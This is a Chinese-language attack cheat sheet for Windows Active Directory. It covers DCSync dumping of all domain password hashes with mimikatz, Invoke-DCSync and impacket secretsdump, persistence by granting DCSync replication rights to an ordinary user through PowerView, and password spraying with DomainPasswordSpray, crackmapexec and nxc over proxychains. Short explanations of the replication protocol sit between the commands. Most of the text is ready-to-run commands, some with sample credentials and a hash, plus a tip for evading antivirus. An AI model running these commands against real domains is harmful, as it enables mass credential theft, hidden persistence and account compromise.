Dumping
DCSync
Dcsync(domain Controller synchronization):在域树或者域森林中,不同的DC之间,每隔15分钟会进行一次域数据的同步。比如当一个辅助域控想从主域控获取数据时,辅助域控会利用 DRS(Directory Replication Service) 协议向主域控发起一个 IDL_DRSGetNCChanges 请求。请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程
目录复制服务(DRS) 远程协议是一种RPC 协议,用于在Active Directory中复制和管理数据
该协议由两个名为 drsuapi 和 dsaop 的 RPC 接口组成。每个 drsuapi 方法的名称以”IDL_DRS”开头,而每个 dsaop 方法的名称以”IDL_DSA”开头
DCSync 就是利用的这个原理,通过 DRS(Directory Replication Service) 服务的 GetNCChanges 接口向域控发起数据同步请求
利用条件
要进行DCSync则必须要能够运行DRS服务,通常以下用户组可以运行DRS服务
1 2 3 4
| DC本地Administrators组内的用户 Domain Admins组内的用户 Enterprise Admins组内的用户 域控制器的计算机帐户
|
需要的acl,以上组内的成员默认有这些权限
1 2
| DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
|
默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的
导出域内hash
mimikatz
1 2 3 4 5 6
| mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
|
Invoke-DCSync.ps1
1 2 3
| import-Module .\Invoke-DCSync.ps1 Invoke-DCSync Invoke-DCSync -DumpForest | ft -wrap -autosize
|
secretsdump.py
1 2
| python3 secretsdump.py test/admin:www123456#@192.168.189.128 -dc-ip 192.168.189.128 python3 secretsdump.py 'test.com/admin@dc.test.com' -hashes :6dfad00b946adf3479fba71beeb5e4ac
|
关于445端口
- DCSync 协议本身不依赖 445 端口,但某些工具实现(如impacket中的secretsdump.py)会用到 445 端口
- 如果用 mimikatz 等工具,445 端口不是必须的,只要 RPC/LDAP 相关端口开放即可。当445 端口被禁用时,DCSync 依然可以通过 RPC 端口(135+高位端口)实现,推荐使用 Mimikatz,只要 RPC 通信不被阻断,DCSync 就能成功
- 有杀软的情况可以考虑使用impacket中的secretsdump
权限维持
向域内的一个普通用户添加上面提到的两条acl,该用户即可获得利用DCSync导出域内所有用户hash的权限
实现代码:Powerview Add-DomainObjectAcl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Set-ExecutionPolicy Bypass -Scope Process import-module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"} Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
powershell.exe -exec bypass -command "&{Import-Module .\PowerView.ps1;Remove-DomainObjectAcl -TargetIdentity \"DC=test,DC=com\" -PrincipalIdentity test1 -Rights DCSync -Verbose}"
|
暴力破解
密码喷洒 (Password Spraying)
在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题
DomainPasswordSpray 是用 PowerShell 编写的工具,用于对域用户执行密码喷洒攻击。默认情况下,它将利用 LDAP 从域中导出用户列表,然后扣掉被锁定的用户,再用固定密码进行密码喷洒
1 2
| Import-Module .\DomainPasswordSpray.ps1 Invoke-DomainPasswordSpray -Password <密码>
|
参数:
1 2 3 4 5 6 7 8
| Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
UserList - 可选的 UserList 参数。如果未指定,则会自动生成。 Password - 将使用一个密码来执行密码喷洒。 PasswordList - 每行一个密码列表,用于密码喷洒(要非常小心,不要锁定帐户)。 OutFile - 输出结果的文件。 Domain - 一个可以喷洒的域。 Force - 强制继续喷涂而不提示确认。
|
或者可以利用kali中的CrackMapExec(CME)或者nxc来进行喷洒密码
1 2
| proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' -d xiaorang.lab 2>/dev/null proxychains4 -q nxc rdp 172.22.8.0/24 -u user.txt -p pass.txt --no-bruteforce
|

参考文章:
dcsync